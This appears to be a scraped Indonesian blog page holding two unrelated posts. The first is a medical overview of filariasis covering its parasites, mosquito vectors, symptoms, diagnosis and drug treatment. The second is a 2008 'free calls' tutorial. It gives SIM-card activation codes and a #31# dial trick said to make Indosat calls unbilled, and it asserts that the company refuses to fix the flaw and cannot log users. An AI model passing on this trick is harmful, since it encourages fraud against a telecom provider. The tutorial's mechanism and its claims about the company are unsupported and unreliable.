Filariasis adalah suatu infeksi sistemik yang disebabkan oleh cacing filaria yang cacing dewasanya hidup dalam saluran limfe dan kelenjar limfe manusia dan ditularkan oleh serangga secara biologik. Penyakit ini bersifat menahun ( kronis ) dan bila tidak mendapatkan pengobatan akan menimbulkan cacat menetap berupa pembesaran kaki, lengan, dan alat kelamin baik perempuan maupun laki-laki. Filariasis disebabkan oleh tiga spesies cacing filaria, yaitu Wuchereria bancrofti, Brugia malayi, dan Brugia timori.

Wuchereria bancrofti, Brugia malayi, dan Brugia timori.

(Parasit'08)

B. ETIOLOGI

Cacing filaria merupakan nematoda yang hidup di dalam jaringan subkutan dan sistem limfatik. Tiga spesies filaria yang menimbulkan infeksi pada manusia; Wuchereria bancrofti, Brugia malayi, dan Brugia timori, merupakan penyebab infeksi filaria yang serius. Parasit filaria ditularkan melalui spesies nyamuk khusus atau artropoda lainnya, memiliki stadium larva serta siklus hidup yang kompleks. Anak dari cacing dewasa berupa mikrofilaria bersarung, terdapat di dalam darah dan paling sering ditemukan di aliran darah tepi. Mikrofilaria ini muncul di peredaran darah enam bulan sampai satu tahun kemudian dan dapat bertahan hidup hingga 5 – 10 tahun. Pada Wuchereria bancrofti, mikrofilaria berukuran 250 – 300x7 – 8 mikron. Sedangkan pada Brugia malayi dan Brugia timori, mikrofilaria berukuran 177 – 230 mikron.

C. EPIDEMIOLOGI

Penyakit filariasis terutama ditemukan di daerah khatulistiwa dan merupakan masalah di daerah dataran rendah. Tetapi kadang-kadang juga ditemukan di daerah bukit yang tidak terlalu tinggi. Di Indonesia filariasis tersebar luas; daerah endemi terdapat di banyak pulau di seluruh Nusantara, seperti di Sumatera dan sekitarnya, Jawa, Kalimantan, Sulawesi, NTT, Maluku, dan Irian Jaya. Untuk dapat memahami epidemiologi filariasis, kita perlu memperhatikan faktor-faktor seperti hospes, hospes Reservoar, vektor, dan keadaan lingkungan.

D. Hospes

Manusia yang mengandung parasit dapat menjadi sumber infeksi bagi orang lain yang rentan ( suseptibel ). Pada umumnya laki-laki lebih dominan terinfeksi, karena memiliki lebih banyak kesempatan untuk mendapat infeksi ( exposure ).

· Hospes reservoir

B.malayi yang dapat hidup pada hewan merupakan sumber infeksi untuk manusia. Hewan yang sering ditemukan mengandung infeksi adalah kucing dan kera terutama jenis Presbytis.

· Vektor

Banyak spesies nyamuk yang ditemukan sebagai vektor filariasis, tergantung pada jenis cacing filarianya. W.bancrofti yang terdapat di daerah perkotaan ( urban ) ditularkan oleh Cx.quinquefasciatus, menggunakan air kotor dan tercemar sebagai tempat perindukannya. W.bancrofti yang di daerah pedesaan ( rural ) dapat ditularkan oleh bermacam spesies nyamuk. Di Irian Jaya, W.bancrofti terutama ditularkan oleh An.farauti yang menggunakan bekas jejak kaki binatang untuk tempat perindukannya. Di daerah pantai di NTT, W.bancrofti ditularkan oleh An.subpictus. B.malayi yang hidup pada manusia dan hewan ditularkan oleh berbagai spesies Mansonia seperti Mn.uniformis, Mn.bonneae, dan Mn.dives yang berkembang biak di daerah rawa di Sumatera, Kalimantan, dan Maluku. Di daerah Sulawesi, B.malayi ditularkan oleh An.barbirostris yang menggunakan sawah sebagai tempat perindukannya. B.timori ditularkan oleh An.barbirostris yang berkembang biak di daerah sawah, baik di dekat pantai maupun di daerah pedalaman. B.timori hanya ditemukan di daerah NTT dan Timor Timur.

E. PATOLOGI

Perubahan patologi yang utama terjadi akibat kerusakan inflamatorik pada sistem limfatik yang disebabkan oleh cacing dewasa, bukan mikrofilaria. Cacing dewasa ini hidup dalam saluran limfatik aferen atau sinus – sinus limfe sehingga menyebabkan dilatasi limfe. Dilatasi ini mengakibatkan penebalan pembuluh darah di sekitarnya. Akibat kerusakan pembuluh darah, terjadi infiltrasi sel plasma, eosinofil, dan makrofag di dalam dan sekitar pembuluh darah yang terinfeksi dan bersama dengan proliferasi endotel serta jaringan ikat, menyebabkan saluran limfatik berkelok – kelok serta katup limfatik menjadi rusak. Limfedema dan perubahan statis yang kronik terjadi pada kulit diatasnya.

F. CARA PENULARAN

Seseorang dapat tertular atau terinfeksi penyakit kaki gajah apabila orang tersebut digigit nyamuk yang infektif yaitu nyamuk yang mengandung larva stadium III ( L3 ). Nyamuk tersebut mendapat cacing filarial kecil ( mikrofilaria ) sewaktu menghisap darah penderita mengandung microfilaria atau binatang reservoir yang mengandung microfilaria. Siklus Penularan penyakit kaiki gajah ini melalui dua tahap, yaitu perkembangan dalam tubuh nyamuk ( vector ) dan tahap kedua perkembangan dalam tubuh manusia (hospes) dan reservoair.

Gejala klinis Filariais Akut adalah berupa ; Demam berulang-ulang selama 3 ? 5 hari, Demam dapat hilang bila istirahat dan muncul lagi setelah bekerja berat ; pembengkakan kelenjar getah bening (tanpa ada luka) didaerah lipatan paha, ketiap (lymphadenitis) yang tampak kemerahan, panas dan sakit ; radang saluran kelenjar getah bening yang terasa panas dan sakit yang menjalar dari pangkal kaki atau pangkal lengan kearah ujung (retrograde lymphangitis) ; filarial abses akibat seringnya menderita pembengkakan kelenjar getah bening, dapat pecah dan mengeluarkan nanah serta darah ; pembesaran tungkai, lengan, buah dada, buah zakar yang terlihat agak kemerahan dan terasa panas (early lymphodema). Gejal klinis yang kronis ; berupa pembesaran yang menetap (elephantiasis) pada tungkai, lengan, buah dada, buah zakar (elephantiasis skroti).

G. MANIFESTASI KLINIS

Manifestasi klinis sebagai infeksi W.bancrofti terbentuk beberapa bulan hingga beberapa tahun setelah infeksi, tetapi beberapa orang yang hidup di daerah endemis tetap asimptomatik selama hidupnya. Mereka yang menunjukkan gejala akut biasanya mengeluh demam, lymphangitis, lymphadenitis, orchitis, sakit pada otot, anoreksia, dan malaise. Mula–mula cacing dewasa yang hidup dalam pembuluh limfe menyebabkan pelebaran pembuluh limfe terutama di daerah kelenjar limfe, testes, dan epididimis, kemudian diikuti dengan penebalan sel endothel dan infiltrasi sehingga terjadi granuloma. Pada keadaan kronis, terjadi pembesaran kelenjar limfe, hydrocele, dan elefantiasis. Hanya mereka yang hipersensitif, elefantiasis dapat terjadi. Elefantiasis kebanyakan terjadi di daerah genital dan tungkai bawah, biasanya disertai infeksi sekunder dengan fungi dan bakteri. Suatu sindrom yang khas terjadi pada infeksi dengan Wuchereria bancrofti dinamakan Weingartner’s syndrome atau Tropical pulmonary eosinophilia.

Gejala yang sering dijumpai pada orang yang terinfeksi B.malayi adalah lymphadenitis dan lymphangitis yang berulang–ulang disertai demam.
Perbedaan utama antara infeksi W.bancrofti dan B.malayi terletak pada klasifikasi ureter dan ginjal. Klasifikasi ureter dan ginjal tidak ditemukan pada infeksi B.malayi.

H. DIAGNOSIS

1.Diagnosis Parasitologi

a. Deteksi parasit : menemukan mikrofilaria di dalam darah, cairan hidrokel atau cairan kiluria pada pemeriksaan sediaan darah tebal, teknik konsentrasi Knott, membran filtrasi dan tes provokatif DEC.

b. Diferensiasi spesies dan stadium filaria : menggunakan pelacak DNA yang spesies spesifik dan antibodi monoklonal.

2. Radiodiagnosis

a. Pemeriksaan dengan ultrasonografi ( USG ) pada skrotum dan kelenjar getah bening ingunial.

b. Pemeriksaan limfosintigrafi dengan menggunakan dekstran atau albumin yang ditandai dengan adanya zat radioaktif.

3. Diagnosis imunologi

Dengan teknik ELISA dan immunochromatographic test ( ICT ), menggunakan

antibodi monoklonal yang spesifik.2

I. TERAPI dan PENCEGAHAN

Obat utama yang digunakan adalah dietilkarbamazin sitrat ( DEC ).5 DEC bersifat membunuh mikrofilaria dan juga cacing dewasa pada pengobatan jangka panjang. Hingga saat ini, DEC merupakan satu-satunya obat yang efektif, aman, dan relatif murah. Untuk filariasis bankrofti, dosis yang dianjurkan adalah 6mg/kg berat badan/hari selama 12 hari. Sedangkan untuk filaria brugia, dosis yang dianjurkan adalah 5mg/kg berat badan/hari selama 10 hari. Efek samping dari DEC ini adalah demam, menggigil, artralgia, sakit kepala, mual hingga muntah. Pada pengobatan filariasis brugia, efek samping yang ditimbulkan lebih berat. Sehingga, untuk pengobatannya dianjurkan dalam dosis rendah, tetapi waktu pengobatan dilakukan dalam waktu yang lebih lama.2

Obat lain yang juga dipakai adalah ivermektin.5 Ivermektin adalah antibiotik semisintetik dari golongan makrolid yang mempunyai aktivitas luas terhadap nematode dan ektoparasit. Obat ini hanya membunuh mikrofilaria. Efek samping yang ditimbulkan lebih ringan dibanding DEC.

Pengobatan kombinasi dapat juga dengan dosis tunggal DEC dan Albendazol 400mg, diberikan setiap tahun selama 5 tahun. Pengobatan kombinasi meningkatkan efek filarisida DEC. Yang dapat diobati adalah stadium mikrofilaremia, stadium akut, limfedema, kiluria, dan stadium dini elefantiasis.

Terapi suportif berupa pemijatan dan pembebatan juga dilakukan di samping pemberian antibiotika dan corticosteroid, khususnya pada kasus elefantiasis kronis. Pada kasus-kasus tertentu dapat juga dilakukan pembedahan.2

J. DAFTAR PUSTAKA

1. Waluyo, Jangkung Samidjo. 2002. Parasitologi Medik (Helmintologi) : Pendekatan Aspek Identifikasi, Diagnosis, dan Klinik. Penerbit Buku Kedokteran EGC : Jakarta.
2. Tim Editor Fakultas Kedokteran Universitas

Indonesia

. 2002. Parasitologi

Kedokteran Edisi Ketiga, cetakan ketiga. Balai Penerbit FKUI : Jakarta.

3. URL : http://www.majalah-farmacia.com/rubrik/one_news.asp?IDNews=75

4. Sandjaja, Dr. Bernardus, DMM, DTM&H, MSPH. 2007. Helmintologi Kedokteran. Prestasi Pustaka : Jakarta.

5. URL : http://content.nejm.org/cgi/content/full/347/23/1885

Telepon Gratis

2008-05-28T06:43:00.000-07:00

CARA TELEPON GRATIS KARTU PERDANA IM3, MENTARI, DAN STARONE

",,,Ini trik dan trip silahkan coba untuk pertanyaan selanjutnya langsung kesumbernya aja….ok

a. Belilah kartu perdana Mentari, IM3, & Starone di Counter HP. Belilah 2-3 kartu perdana, jangan hanya 1 perdana untuk melakukan testing 2 arah. (Kita TEST dengan 2 Kartu Perdana)

Misalnya :
o No. Perdana I : 081590010010
o No. Perdana II : 085670020020

b. Aktifkan No. Perdana I dengan menekan 555 lalu dengarkan sejenak dan cek pulsa dengan *555#, dan akan terlihat pulsa Kartu perdana Anda yang baru, biasanya 10000.

c. Ketik SMS : ACT JKS00767 lalu kirim ke 202. Aktifkan Report di HP untuk mengetahui bahwa pesan tersebut sudah Delivered / Terkirim!

d. Aktifkan No. Perdana II dengan menekan 388 lalu dengarkan sejenak dan cek pulsa dengan *388#, dan akan terlihat pulsa Kartu perdana Anda yang baru, biasanya 10000.

e. Ketik SMS : ACT JKS00767 lalu kirim ke 202. Aktifkan Report di HP untuk mengetahui bahwa pesan tersebut sudah Delivered / Terkirim!

Pada tahapan ini, anda telah memasuki dunia Frontline dan di HP anda masih aktif kartu perdana II yakni IM3, jangan keluarkan kartu anda pada HP Anda.

f. Ketik SMS Ã REG 081590010010 lalu kirim ke 6060. Tunggu 1x24 Jam untuk mengaktifkan registrasi ke Indosat, dengan Anda menerima e-mail telah aktif.

g. Ganti Kartu Perdana II dengan Kartu Perdana I yakni Mentari yang telah Anda aktifkan. Kembali ketik SMS Ã REG 085670020020 lalu kirim ke 6060, kembali Anda menunggu 1x24 Jam untuk mengaktifkan kartu Anda.

h. Setelah 1x24 Jam, Kembali masukan Kartu Perdana I (Mentari di HP Anda), dan berikan Kartu Perdana II (IM3 ke teman, pacar, kerabat dekat Anda). Lakukan telepon dengan mengunakan :

#31#(no.telepon)#

Misalnya di

i. Kartu Perdana I untuk menelpon ke Kartu Perdana II caranya :

Tekan #31#085670020020 lalu tekan OK / YES / TELP!

Dan

j. Kartu Perdana II untuk menelpon ke Kartu Perdana I caranya :

Tekan #31#081590010010 lalu tekan OK / YES / TELP!

Sebelumnya, anda cek pulsa Anda, dan selesai telepon Anda cek kembali, tidak terkena potong walaucuma 1 perakpun, mustahil bukan, tapi inilah yang terjadi. Selamat Anda layak mendapatkan BINTANG!! Selamat menikmati menelepon GRATIS dari Indosat seperti KARTU JIMAT.

Saat tutorial ini di publikasikan, belum ada Black List dari INDOSAT, mengapa? Indosat enggan untuk memperbaiki systemnya, mengapa? Karena untuk upgrade system dan patching membutuhkan dana 1,3 Miliar. Ada kemungkinan besar jika budget cukup dibulan2 ini, januari 2007 akan di update, jika ada uang lebih… ujar salah satu it staff indosat. Untuk sementara ini, anda dapat dengan mudah menelepon dengan GRATIS. Dan jangan pernah takut kalau HP Anda di LOG, krn Indosat membutuhkan dana 750jt untuk mobile-logging.

Have a nice triks,..."